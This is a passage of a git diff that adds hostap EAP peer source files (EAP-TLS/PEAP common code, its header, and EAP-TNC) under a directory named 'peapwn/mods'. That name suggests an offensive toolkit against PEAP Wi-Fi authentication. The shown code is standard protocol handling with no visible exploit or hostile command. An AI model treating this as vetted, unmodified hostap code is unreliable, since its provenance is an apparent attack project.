(unsigned long) len); + } else + more_fragments = 0; + + length_included = data->tls_out_pos == 0 && + (wpabuf_len(data->tls_out) > data->tls_out_limit || + data->include_tls_length); + if (!length_included && + eap_type == EAP_TYPE_PEAP && peap_version == 0 && + !tls_connection_established(data->eap->ssl_ctx, data->conn)) { + /* + * Windows Server 2008 NPS really wants to have the TLS Message + * length included in phase 0 even for unfragmented frames or + * it will get very confused with Compound MAC calculation and + * Outer TLVs. + */ + length_included = 1; + } + + *out_data = eap_tls_msg_alloc(eap_type, 1 + length_included * 4 + len, + EAP_CODE_RESPONSE, id); + if (*out_data == NULL) + return -1; + + flags = wpabuf_put(*out_data, 1); + *flags = peap_version; + if (more_fragments) + *flags |= EAP_TLS_FLAGS_MORE_FRAGMENTS; + if (length_included) { + *flags |= EAP_TLS_FLAGS_LENGTH_INCLUDED; + wpabuf_put_be32(*out_data, wpabuf_len(data->tls_out)); + } + + wpabuf_put_data(*out_data, + wpabuf_head_u8(data->tls_out) + data->tls_out_pos, + len); + data->tls_out_pos += len; + + if (!more_fragments) + eap_peer_tls_reset_output(data); + + return ret; +} + + +/** + * eap_peer_tls_process_helper - Process TLS handshake message + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Data for TLS processing + * @eap_type: EAP type (EAP_TYPE_TLS, EAP_TYPE_PEAP, ...) + * @peap_version: Version number for EAP-PEAP/TTLS + * @id: EAP identifier for the response + * @in_data: Message received from the server + * @in_len: Length of in_data + * @out_data: Buffer for returning a pointer to the response message + * Returns: 0 on success, 1 if more input data is needed, 2 if application data + * is available, or -1 on failure + * + * This function can be used to process TLS handshake messages. It reassembles + * the received fragments and uses a TLS library to process the messages. The + * response data from the TLS library is fragmented to suitable output messages + * that the caller can send out. + * + * out_data is used to return the response message if the return value of this + * function is 0, 2, or -1. In case of failure, the message is likely a TLS + * alarm message. The caller is responsible for freeing the allocated buffer if + * *out_data is not %NULL. + * + * This function is called for each received TLS message during the TLS + * handshake after eap_peer_tls_process_init() call and possible processing of + * TLS Flags field. Once the handshake has been completed, i.e., when + * tls_connection_established() returns 1, EAP method specific decrypting of + * the tunneled data is used. + */ +int eap_peer_tls_process_helper(struct eap_sm *sm, struct eap_ssl_data *data, + EapType eap_type, int peap_version, + u8 id, const u8 *in_data, size_t in_len, + struct wpabuf **out_data) +{ + int ret = 0; + + *out_data = NULL; + + if (data->tls_out && wpabuf_len(data->tls_out) > 0 && in_len > 0) { + wpa_printf(MSG_DEBUG, "SSL: Received non-ACK when output " + "fragments are waiting to be sent out"); + return -1; + } + + if (data->tls_out == NULL || wpabuf_len(data->tls_out) == 0) { + /* + * No more data to send out - expect to receive more data from + * the AS. + */ + int res = eap_tls_process_input(sm, data, in_data, in_len, + out_data); + if (res) { + /* + * Input processing failed (res = -1) or more data is + * needed (res = 1). + */ + return res; + } + + /* + * The incoming message has been reassembled and processed. The + * response was allocated into data->tls_out buffer. + */ + } + + if (data->tls_out == NULL) { + /* + * No outgoing fragments remaining from the previous message + * and no new message generated. This indicates an error in TLS + * processing. + */ + eap_peer_tls_reset_output(data); + return -1; + } + + if (tls_connection_get_failed(data->ssl_ctx, data->conn)) { + /* TLS processing has failed - return error */ + wpa_printf(MSG_DEBUG, "SSL: Failed - tls_out available to " + "report error"); + ret = -1; + /* TODO: clean pin if engine used? */ + } + + if (data->tls_out == NULL || wpabuf_len(data->tls_out) == 0) { + /* + * TLS negotiation should now be complete since all other cases + * needing more data should have been caught above based on + * the TLS Message Length field. + */ + wpa_printf(MSG_DEBUG, "SSL: No data to be sent out"); + wpabuf_free(data->tls_out); + data->tls_out = NULL; + return 1; + } + + /* Send the pending message (in fragments, if needed). */ + return eap_tls_process_output(data, eap_type, peap_version, id, ret, + out_data); +} + + +/** + * eap_peer_tls_build_ack - Build a TLS ACK frame + * @id: EAP identifier for the response + * @eap_type: EAP type (EAP_TYPE_TLS, EAP_TYPE_PEAP, ...) + * @peap_version: Version number for EAP-PEAP/TTLS + * Returns: Pointer to the allocated ACK frame or %NULL on failure + */ +struct wpabuf * eap_peer_tls_build_ack(u8 id, EapType eap_type, + int peap_version) +{ + struct wpabuf *resp; + + resp = eap_tls_msg_alloc(eap_type, 1, EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + wpa_printf(MSG_DEBUG, "SSL: Building ACK (type=%d id=%d ver=%d)", + (int) eap_type, id, peap_version); + wpabuf_put_u8(resp, peap_version); /* Flags */ + return resp; +} + + +/** + * eap_peer_tls_reauth_init - Re-initialize shared TLS for session resumption + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Data for TLS processing + * Returns: 0 on success, -1 on failure + */ +int eap_peer_tls_reauth_init(struct eap_sm *sm, struct eap_ssl_data *data) +{ + eap_peer_tls_reset_input(data); + eap_peer_tls_reset_output(data); + return tls_connection_shutdown(data->ssl_ctx, data->conn); +} + + +/** + * eap_peer_tls_status - Get TLS status + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Data for TLS processing + * @buf: Buffer for status information + * @buflen: Maximum buffer length + * @verbose: Whether to include verbose status information + * Returns: Number of bytes written to buf. + */ +int eap_peer_tls_status(struct eap_sm *sm, struct eap_ssl_data *data, + char *buf, size_t buflen, int verbose) +{ + char name[128]; + int len = 0, ret; + + if (tls_get_cipher(data->ssl_ctx, data->conn, name, sizeof(name)) == 0) + { + ret = os_snprintf(buf + len, buflen - len, + "EAP TLS cipher=%s\n", name); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + } + + return len; +} + + +/** + * eap_peer_tls_process_init - Initial validation/processing of EAP requests + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Data for TLS processing + * @eap_type: EAP type (EAP_TYPE_TLS, EAP_TYPE_PEAP, ...) + * @ret: Return values from EAP request validation and processing + * @reqData: EAP request to be processed (eapReqData) + * @len: Buffer for returning length of the remaining payload + * @flags: Buffer for returning TLS flags + * Returns: Pointer to payload after TLS flags and length or %NULL on failure + * + * This function validates the EAP header and processes the optional TLS + * Message Length field. If this is the first fragment of a TLS message, the + * TLS reassembly code is initialized to receive the indicated number of bytes. + * + * EAP-TLS, EAP-PEAP, EAP-TTLS, and EAP-FAST methods are expected to use this + * function as the first step in processing received messages. They will need + * to process the flags (apart from Message Length Included) that are returned + * through the flags pointer and the message payload that will be returned (and + * the length is returned through the len pointer). Return values (ret) are set + * for continuation of EAP method processing. The caller is responsible for + * setting these to indicate completion (either success or failure) based on + * the authentication result. + */ +const u8 * eap_peer_tls_process_init(struct eap_sm *sm, + struct eap_ssl_data *data, + EapType eap_type, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + size_t *len, u8 *flags) +{ + const u8 *pos; + size_t left; + unsigned int tls_msg_len; + + if (tls_get_errors(data->ssl_ctx)) { + wpa_printf(MSG_INFO, "SSL: TLS errors detected"); + ret->ignore = TRUE; + return NULL; + } + + if (eap_type == EAP_UNAUTH_TLS_TYPE) + pos = eap_hdr_validate(EAP_VENDOR_UNAUTH_TLS, + EAP_VENDOR_TYPE_UNAUTH_TLS, reqData, + &left); + else + pos = eap_hdr_validate(EAP_VENDOR_IETF, eap_type, reqData, + &left); + if (pos == NULL) { + ret->ignore = TRUE; + return NULL; + } + if (left == 0) { + wpa_printf(MSG_DEBUG, "SSL: Invalid TLS message: no Flags " + "octet included"); + if (!sm->workaround) { + ret->ignore = TRUE; + return NULL; + } + + wpa_printf(MSG_DEBUG, "SSL: Workaround - assume no Flags " + "indicates ACK frame"); + *flags = 0; + } else { + *flags = *pos++; + left--; + } + wpa_printf(MSG_DEBUG, "SSL: Received packet(len=%lu) - " + "Flags 0x%02x", (unsigned long) wpabuf_len(reqData), + *flags); + if (*flags & EAP_TLS_FLAGS_LENGTH_INCLUDED) { + if (left < 4) { + wpa_printf(MSG_INFO, "SSL: Short frame with TLS " + "length"); + ret->ignore = TRUE; + return NULL; + } + tls_msg_len = WPA_GET_BE32(pos); + wpa_printf(MSG_DEBUG, "SSL: TLS Message Length: %d", + tls_msg_len); + if (data->tls_in_left == 0) { + data->tls_in_total = tls_msg_len; + data->tls_in_left = tls_msg_len; + wpabuf_free(data->tls_in); + data->tls_in = NULL; + } + pos += 4; + left -= 4; + + if (left > tls_msg_len) { + wpa_printf(MSG_INFO, "SSL: TLS Message Length (%d " + "bytes) smaller than this fragment (%d " + "bytes)", (int) tls_msg_len, (int) left); + ret->ignore = TRUE; + return NULL; + } + } + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + ret->allowNotifications = TRUE; + + *len = left; + return pos; +} + + +/** + * eap_peer_tls_reset_input - Reset input buffers + * @data: Data for TLS processing + * + * This function frees any allocated memory for input buffers and resets input + * state. + */ +void eap_peer_tls_reset_input(struct eap_ssl_data *data) +{ + data->tls_in_left = data->tls_in_total = 0; + wpabuf_free(data->tls_in); + data->tls_in = NULL; +} + + +/** + * eap_peer_tls_reset_output - Reset output buffers + * @data: Data for TLS processing + * + * This function frees any allocated memory for output buffers and resets + * output state. + */ +void eap_peer_tls_reset_output(struct eap_ssl_data *data) +{ + data->tls_out_pos = 0; + wpabuf_free(data->tls_out); + data->tls_out = NULL; +} + + +/** + * eap_peer_tls_decrypt - Decrypt received phase 2 TLS message + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Data for TLS processing + * @in_data: Message received from the server + * @in_decrypted: Buffer for returning a pointer to the decrypted message + * Returns: 0 on success, 1 if more input data is needed, or -1 on failure + */ +int eap_peer_tls_decrypt(struct eap_sm *sm, struct eap_ssl_data *data, + const struct wpabuf *in_data, + struct wpabuf **in_decrypted) +{ + const struct wpabuf *msg; + int need_more_input; + + msg = eap_peer_tls_data_reassemble(data, in_data, &need_more_input); + if (msg == NULL) + return need_more_input ? 1 : -1; + + *in_decrypted = tls_connection_decrypt(data->ssl_ctx, data->conn, msg); + eap_peer_tls_reset_input(data); + if (*in_decrypted == NULL) { + wpa_printf(MSG_INFO, "SSL: Failed to decrypt Phase 2 data"); + return -1; + } + return 0; +} + + +/** + * eap_peer_tls_encrypt - Encrypt phase 2 TLS message + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Data for TLS processing + * @eap_type: EAP type (EAP_TYPE_TLS, EAP_TYPE_PEAP, ...) + * @peap_version: Version number for EAP-PEAP/TTLS + * @id: EAP identifier for the response + * @in_data: Plaintext phase 2 data to encrypt or %NULL to continue fragments + * @out_data: Buffer for returning a pointer to the encrypted response message + * Returns: 0 on success, -1 on failure + */ +int eap_peer_tls_encrypt(struct eap_sm *sm, struct eap_ssl_data *data, + EapType eap_type, int peap_version, u8 id, + const struct wpabuf *in_data, + struct wpabuf **out_data) +{ + if (in_data) { + eap_peer_tls_reset_output(data); + data->tls_out = tls_connection_encrypt(data->ssl_ctx, + data->conn, in_data); + if (data->tls_out == NULL) { + wpa_printf(MSG_INFO, "SSL: Failed to encrypt Phase 2 " + "data (in_len=%lu)", + (unsigned long) wpabuf_len(in_data)); + eap_peer_tls_reset_output(data); + return -1; + } + } + + return eap_tls_process_output(data, eap_type, peap_version, id, 0, + out_data); +} + + +/** + * eap_peer_select_phase2_methods - Select phase 2 EAP method + * @config: Pointer to the network configuration + * @prefix: 'phase2' configuration prefix, e.g., "auth=" + * @types: Buffer for returning allocated list of allowed EAP methods + * @num_types: Buffer for returning number of allocated EAP methods + * Returns: 0 on success, -1 on failure + * + * This function is used to parse EAP method list and select allowed methods + * for Phase2 authentication. + */ +int eap_peer_select_phase2_methods(struct eap_peer_config *config, + const char *prefix, + struct eap_method_type **types, + size_t *num_types) +{ + char *start, *pos, *buf; + struct eap_method_type *methods = NULL, *_methods; + u8 method; + size_t num_methods = 0, prefix_len; + + if (config == NULL || config->phase2 == NULL) + goto get_defaults; + + start = buf = os_strdup(config->phase2); + if (buf == NULL) + return -1; + + prefix_len = os_strlen(prefix); + + while (start && *start != '\0') { + int vendor; + pos = os_strstr(start, prefix); + if (pos == NULL) + break; + if (start != pos && *(pos - 1) != ' ') { + start = pos + prefix_len; + continue; + } + + start = pos + prefix_len; + pos = os_strchr(start, ' '); + if (pos) + *pos++ = '\0'; + method = eap_get_phase2_type(start, &vendor); + if (vendor == EAP_VENDOR_IETF && method == EAP_TYPE_NONE) { + wpa_printf(MSG_ERROR, "TLS: Unsupported Phase2 EAP " + "method '%s'", start); + } else { + num_methods++; + _methods = os_realloc_array(methods, num_methods, + sizeof(*methods)); + if (_methods == NULL) { + os_free(methods); + os_free(buf); + return -1; + } + methods = _methods; + methods[num_methods - 1].vendor = vendor; + methods[num_methods - 1].method = method; + } + + start = pos; + } + + os_free(buf); + +get_defaults: + if (methods == NULL) + methods = eap_get_phase2_types(config, &num_methods); + + if (methods == NULL) { + wpa_printf(MSG_ERROR, "TLS: No Phase2 EAP methods available"); + return -1; + } + wpa_hexdump(MSG_DEBUG, "TLS: Phase2 EAP types", + (u8 *) methods, + num_methods * sizeof(struct eap_method_type)); + + *types = methods; + *num_types = num_methods; + + return 0; +} + + +/** + * eap_peer_tls_phase2_nak - Generate EAP-Nak for Phase 2 + * @types: Buffer for returning allocated list of allowed EAP methods + * @num_types: Buffer for returning number of allocated EAP methods + * @hdr: EAP-Request header (and the following EAP type octet) + * @resp: Buffer for returning the EAP-Nak message + * Returns: 0 on success, -1 on failure + */ +int eap_peer_tls_phase2_nak(struct eap_method_type *types, size_t num_types, + struct eap_hdr *hdr, struct wpabuf **resp) +{ + u8 *pos = (u8 *) (hdr + 1); + size_t i; + + /* TODO: add support for expanded Nak */ + wpa_printf(MSG_DEBUG, "TLS: Phase 2 Request: Nak type=%d", *pos); + wpa_hexdump(MSG_DEBUG, "TLS: Allowed Phase2 EAP types", + (u8 *) types, num_types * sizeof(struct eap_method_type)); + *resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_NAK, num_types, + EAP_CODE_RESPONSE, hdr->identifier); + if (*resp == NULL) + return -1; + + for (i = 0; i < num_types; i++) { + if (types[i].vendor == EAP_VENDOR_IETF && + types[i].method < 256) + wpabuf_put_u8(*resp, types[i].method); + } + + eap_update_len(*resp); + + return 0; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_tls_common.h b/peapwn/mods/hostap/src/eap_peer/eap_tls_common.h new file mode 100644 index 000000000..1a5e0f89e --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_tls_common.h @@ -0,0 +1,131 @@ +/* + * EAP peer: EAP-TLS/PEAP/TTLS/FAST common functions + * Copyright (c) 2004-2009, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_TLS_COMMON_H +#define EAP_TLS_COMMON_H + +/** + * struct eap_ssl_data - TLS data for EAP methods + */ +struct eap_ssl_data { + /** + * conn - TLS connection context data from tls_connection_init() + */ + struct tls_connection *conn; + + /** + * tls_out - TLS message to be sent out in fragments + */ + struct wpabuf *tls_out; + + /** + * tls_out_pos - The current position in the outgoing TLS message + */ + size_t tls_out_pos; + + /** + * tls_out_limit - Maximum fragment size for outgoing TLS messages + */ + size_t tls_out_limit; + + /** + * tls_in - Received TLS message buffer for re-assembly + */ + struct wpabuf *tls_in; + + /** + * tls_in_left - Number of remaining bytes in the incoming TLS message + */ + size_t tls_in_left; + + /** + * tls_in_total - Total number of bytes in the incoming TLS message + */ + size_t tls_in_total; + + /** + * phase2 - Whether this TLS connection is used in EAP phase 2 (tunnel) + */ + int phase2; + + /** + * include_tls_length - Whether the TLS length field is included even + * if the TLS data is not fragmented + */ + int include_tls_length; + + /** + * eap - EAP state machine allocated with eap_peer_sm_init() + */ + struct eap_sm *eap; + + /** + * ssl_ctx - TLS library context to use for the connection + */ + void *ssl_ctx; + + /** + * eap_type - EAP method used in Phase 1 (EAP_TYPE_TLS/PEAP/TTLS/FAST) + */ + u8 eap_type; +}; + + +/* EAP TLS Flags */ +#define EAP_TLS_FLAGS_LENGTH_INCLUDED 0x80 +#define EAP_TLS_FLAGS_MORE_FRAGMENTS 0x40 +#define EAP_TLS_FLAGS_START 0x20 +#define EAP_TLS_VERSION_MASK 0x07 + + /* could be up to 128 bytes, but only the first 64 bytes are used */ +#define EAP_TLS_KEY_LEN 64 + +/* dummy type used as a flag for UNAUTH-TLS */ +#define EAP_UNAUTH_TLS_TYPE 255 + + +int eap_peer_tls_ssl_init(struct eap_sm *sm, struct eap_ssl_data *data, + struct eap_peer_config *config, u8 eap_type); +void eap_peer_tls_ssl_deinit(struct eap_sm *sm, struct eap_ssl_data *data); +u8 * eap_peer_tls_derive_key(struct eap_sm *sm, struct eap_ssl_data *data, + const char *label, size_t len); +u8 * eap_peer_tls_derive_session_id(struct eap_sm *sm, + struct eap_ssl_data *data, u8 eap_type, + size_t *len); +int eap_peer_tls_process_helper(struct eap_sm *sm, struct eap_ssl_data *data, + EapType eap_type, int peap_version, + u8 id, const u8 *in_data, size_t in_len, + struct wpabuf **out_data); +struct wpabuf * eap_peer_tls_build_ack(u8 id, EapType eap_type, + int peap_version); +int eap_peer_tls_reauth_init(struct eap_sm *sm, struct eap_ssl_data *data); +int eap_peer_tls_status(struct eap_sm *sm, struct eap_ssl_data *data, + char *buf, size_t buflen, int verbose); +const u8 * eap_peer_tls_process_init(struct eap_sm *sm, + struct eap_ssl_data *data, + EapType eap_type, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + size_t *len, u8 *flags); +void eap_peer_tls_reset_input(struct eap_ssl_data *data); +void eap_peer_tls_reset_output(struct eap_ssl_data *data); +int eap_peer_tls_decrypt(struct eap_sm *sm, struct eap_ssl_data *data, + const struct wpabuf *in_data, + struct wpabuf **in_decrypted); +int eap_peer_tls_encrypt(struct eap_sm *sm, struct eap_ssl_data *data, + EapType eap_type, int peap_version, u8 id, + const struct wpabuf *in_data, + struct wpabuf **out_data); +int eap_peer_select_phase2_methods(struct eap_peer_config *config, + const char *prefix, + struct eap_method_type **types, + size_t *num_types); +int eap_peer_tls_phase2_nak(struct eap_method_type *types, size_t num_types, + struct eap_hdr *hdr, struct wpabuf **resp); + +#endif /* EAP_TLS_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_peer/eap_tnc.c b/peapwn/mods/hostap/src/eap_peer/eap_tnc.c new file mode 100644 index 000000000..bc136470b --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_tnc.c @@ -0,0 +1,427 @@ +/* + * EAP peer method: EAP-TNC (Trusted Network Connect) + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" +#include "tncc.h" + + +struct eap_tnc_data { + enum { WAIT_START, PROC_MSG, WAIT_FRAG_ACK, DONE, FAIL } state; + struct tncc_data *tncc; + struct wpabuf *in_buf; + struct wpabuf *out_buf; + size_t out_used; + size_t fragment_size; +}; + + +/* EAP-TNC Flags */ +#define EAP_TNC_FLAGS_LENGTH_INCLUDED 0x80 +#define EAP_TNC_FLAGS_MORE_FRAGMENTS 0x40 +#define EAP_TNC_FLAGS_START 0x20 +#define EAP_TNC_VERSION_MASK 0x07 + +#define EAP_TNC_VERSION 1 + + +static void * eap_tnc_init(struct eap_sm *sm) +{ + struct eap_tnc_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = WAIT_START; + data->fragment_size = 1300; + data->tncc = tncc_init(); + if (data->tncc == NULL) { + os_free(data); + return NULL; + } + + return data; +} + + +static void eap_tnc_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_tnc_data *data = priv; + + wpabuf_free(data->in_buf); + wpabuf_free(data->out_buf); + tncc_deinit(data->tncc); + os_free(data); +} + + +static struct wpabuf * eap_tnc_build_frag_ack(u8 id, u8 code) +{ + struct wpabuf *msg; + + msg = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_TNC, 1, code, id); + if (msg == NULL) { + wpa_printf(MSG_ERROR, "EAP-TNC: Failed to allocate memory " + "for fragment ack"); + return NULL; + } + wpabuf_put_u8(msg, EAP_TNC_VERSION); /* Flags */ + + wpa_printf(MSG_DEBUG, "EAP-TNC: Send fragment ack"); + + return msg; +} + + +static struct wpabuf * eap_tnc_build_msg(struct eap_tnc_data *data, + struct eap_method_ret *ret, u8 id) +{ + struct wpabuf *resp; + u8 flags; + size_t send_len, plen; + + ret->ignore = FALSE; + wpa_printf(MSG_DEBUG, "EAP-TNC: Generating Response"); + ret->allowNotifications = TRUE; + + flags = EAP_TNC_VERSION; + send_len = wpabuf_len(data->out_buf) - data->out_used; + if (1 + send_len > data->fragment_size) { + send_len = data->fragment_size - 1; + flags |= EAP_TNC_FLAGS_MORE_FRAGMENTS; + if (data->out_used == 0) { + flags |= EAP_TNC_FLAGS_LENGTH_INCLUDED; + send_len -= 4; + } + } + + plen = 1 + send_len; + if (flags & EAP_TNC_FLAGS_LENGTH_INCLUDED) + plen += 4; + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_TNC, plen, + EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + + wpabuf_put_u8(resp, flags); /* Flags */ + if (flags & EAP_TNC_FLAGS_LENGTH_INCLUDED) + wpabuf_put_be32(resp, wpabuf_len(data->out_buf)); + + wpabuf_put_data(resp, wpabuf_head_u8(data->out_buf) + data->out_used, + send_len); + data->out_used += send_len; + + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + + if (data->out_used == wpabuf_len(data->out_buf)) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Sending out %lu bytes " + "(message sent completely)", + (unsigned long) send_len); + wpabuf_free(data->out_buf); + data->out_buf = NULL; + data->out_used = 0; + } else { + wpa_printf(MSG_DEBUG, "EAP-TNC: Sending out %lu bytes " + "(%lu more to send)", (unsigned long) send_len, + (unsigned long) wpabuf_len(data->out_buf) - + data->out_used); + data->state = WAIT_FRAG_ACK; + } + + return resp; +} + + +static int eap_tnc_process_cont(struct eap_tnc_data *data, + const u8 *buf, size_t len) +{ + /* Process continuation of a pending message */ + if (len > wpabuf_tailroom(data->in_buf)) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Fragment overflow"); + data->state = FAIL; + return -1; + } + + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-TNC: Received %lu bytes, waiting for " + "%lu bytes more", (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + + return 0; +} + + +static struct wpabuf * eap_tnc_process_fragment(struct eap_tnc_data *data, + struct eap_method_ret *ret, + u8 id, u8 flags, + u32 message_length, + const u8 *buf, size_t len) +{ + /* Process a fragment that is not the last one of the message */ + if (data->in_buf == NULL && !(flags & EAP_TNC_FLAGS_LENGTH_INCLUDED)) { + wpa_printf(MSG_DEBUG, "EAP-TNC: No Message Length field in a " + "fragmented packet"); + ret->ignore = TRUE; + return NULL; + } + + if (data->in_buf == NULL) { + /* First fragment of the message */ + data->in_buf = wpabuf_alloc(message_length); + if (data->in_buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-TNC: No memory for " + "message"); + ret->ignore = TRUE; + return NULL; + } + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-TNC: Received %lu bytes in first " + "fragment, waiting for %lu bytes more", + (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + } + + return eap_tnc_build_frag_ack(id, EAP_CODE_RESPONSE); +} + + +static struct wpabuf * eap_tnc_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_tnc_data *data = priv; + struct wpabuf *resp; + const u8 *pos, *end; + u8 *rpos, *rpos1; + size_t len, rlen; + size_t imc_len; + char *start_buf, *end_buf; + size_t start_len, end_len; + int tncs_done = 0; + u8 flags, id; + u32 message_length = 0; + struct wpabuf tmpbuf; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_TNC, reqData, &len); + if (pos == NULL) { + wpa_printf(MSG_INFO, "EAP-TNC: Invalid frame (pos=%p len=%lu)", + pos, (unsigned long) len); + ret->ignore = TRUE; + return NULL; + } + + id = eap_get_id(reqData); + + end = pos + len; + + if (len == 0) + flags = 0; /* fragment ack */ + else + flags = *pos++; + + if (len > 0 && (flags & EAP_TNC_VERSION_MASK) != EAP_TNC_VERSION) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Unsupported version %d", + flags & EAP_TNC_VERSION_MASK); + ret->ignore = TRUE; + return NULL; + } + + if (flags & EAP_TNC_FLAGS_LENGTH_INCLUDED) { + if (end - pos < 4) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Message underflow"); + ret->ignore = TRUE; + return NULL; + } + message_length = WPA_GET_BE32(pos); + pos += 4; + + if (message_length < (u32) (end - pos)) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Invalid Message " + "Length (%d; %ld remaining in this msg)", + message_length, (long) (end - pos)); + ret->ignore = TRUE; + return NULL; + } + } + + wpa_printf(MSG_DEBUG, "EAP-TNC: Received packet: Flags 0x%x " + "Message Length %u", flags, message_length); + + if (data->state == WAIT_FRAG_ACK) { + if (len > 1) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Unexpected payload in " + "WAIT_FRAG_ACK state"); + ret->ignore = TRUE; + return NULL; + } + wpa_printf(MSG_DEBUG, "EAP-TNC: Fragment acknowledged"); + data->state = PROC_MSG; + return eap_tnc_build_msg(data, ret, id); + } + + if (data->in_buf && eap_tnc_process_cont(data, pos, end - pos) < 0) { + ret->ignore = TRUE; + return NULL; + } + + if (flags & EAP_TNC_FLAGS_MORE_FRAGMENTS) { + return eap_tnc_process_fragment(data, ret, id, flags, + message_length, pos, + end - pos); + } + + if (data->in_buf == NULL) { + /* Wrap unfragmented messages as wpabuf without extra copy */ + wpabuf_set(&tmpbuf, pos, end - pos); + data->in_buf = &tmpbuf; + } + + if (data->state == WAIT_START) { + if (!(flags & EAP_TNC_FLAGS_START)) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Server did not use " + "start flag in the first message"); + ret->ignore = TRUE; + goto fail; + } + + tncc_init_connection(data->tncc); + + data->state = PROC_MSG; + } else { + enum tncc_process_res res; + + if (flags & EAP_TNC_FLAGS_START) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Server used start " + "flag again"); + ret->ignore = TRUE; + goto fail; + } + + res = tncc_process_if_tnccs(data->tncc, + wpabuf_head(data->in_buf), + wpabuf_len(data->in_buf)); + switch (res) { + case TNCCS_PROCESS_ERROR: + ret->ignore = TRUE; + goto fail; + case TNCCS_PROCESS_OK_NO_RECOMMENDATION: + case TNCCS_RECOMMENDATION_ERROR: + wpa_printf(MSG_DEBUG, "EAP-TNC: No " + "TNCCS-Recommendation received"); + break; + case TNCCS_RECOMMENDATION_ALLOW: + wpa_msg(sm->msg_ctx, MSG_INFO, + "TNC: Recommendation = allow"); + tncs_done = 1; + break; + case TNCCS_RECOMMENDATION_NONE: + wpa_msg(sm->msg_ctx, MSG_INFO, + "TNC: Recommendation = none"); + tncs_done = 1; + break; + case TNCCS_RECOMMENDATION_ISOLATE: + wpa_msg(sm->msg_ctx, MSG_INFO, + "TNC: Recommendation = isolate"); + tncs_done = 1; + break; + } + } + + if (data->in_buf != &tmpbuf) + wpabuf_free(data->in_buf); + data->in_buf = NULL; + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_UNCOND_SUCC; + ret->allowNotifications = TRUE; + + if (data->out_buf) { + data->state = PROC_MSG; + return eap_tnc_build_msg(data, ret, id); + } + + if (tncs_done) { + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_TNC, 1, + EAP_CODE_RESPONSE, eap_get_id(reqData)); + if (resp == NULL) + return NULL; + + wpabuf_put_u8(resp, EAP_TNC_VERSION); + wpa_printf(MSG_DEBUG, "EAP-TNC: TNCS done - reply with an " + "empty ACK message"); + return resp; + } + + imc_len = tncc_total_send_len(data->tncc); + + start_buf = tncc_if_tnccs_start(data->tncc); + if (start_buf == NULL) + return NULL; + start_len = os_strlen(start_buf); + end_buf = tncc_if_tnccs_end(); + if (end_buf == NULL) { + os_free(start_buf); + return NULL; + } + end_len = os_strlen(end_buf); + + rlen = start_len + imc_len + end_len; + resp = wpabuf_alloc(rlen); + if (resp == NULL) { + os_free(start_buf); + os_free(end_buf); + return NULL; + } + + wpabuf_put_data(resp, start_buf, start_len); + os_free(start_buf); + + rpos1 = wpabuf_put(resp, 0); + rpos = tncc_copy_send_buf(data->tncc, rpos1); + wpabuf_put(resp, rpos - rpos1); + + wpabuf_put_data(resp, end_buf, end_len); + os_free(end_buf); + + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-TNC: Response", + wpabuf_head(resp), wpabuf_len(resp)); + + data->out_buf = resp; + data->state = PROC_MSG; + return eap_tnc_build_msg(data, ret, id); + +fail: + if (data->in_buf == &tmpbuf) + data->in_buf = NULL; + return NULL; +} + + +int eap_peer_tnc_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_TNC, "TNC"); + if (eap == NULL) + return -1; + + eap->init = eap_tnc_init; + eap->deinit = eap_tnc_deinit; + eap->process = eap_tnc_process; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_ttls.c b/peapwn/mods/hostap/src/eap_peer/eap_ttls.c new file mode 100644 index 000000000..5091bf084 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_ttls.c @@ -0,0 +1,1675 @@ +/* + * EAP 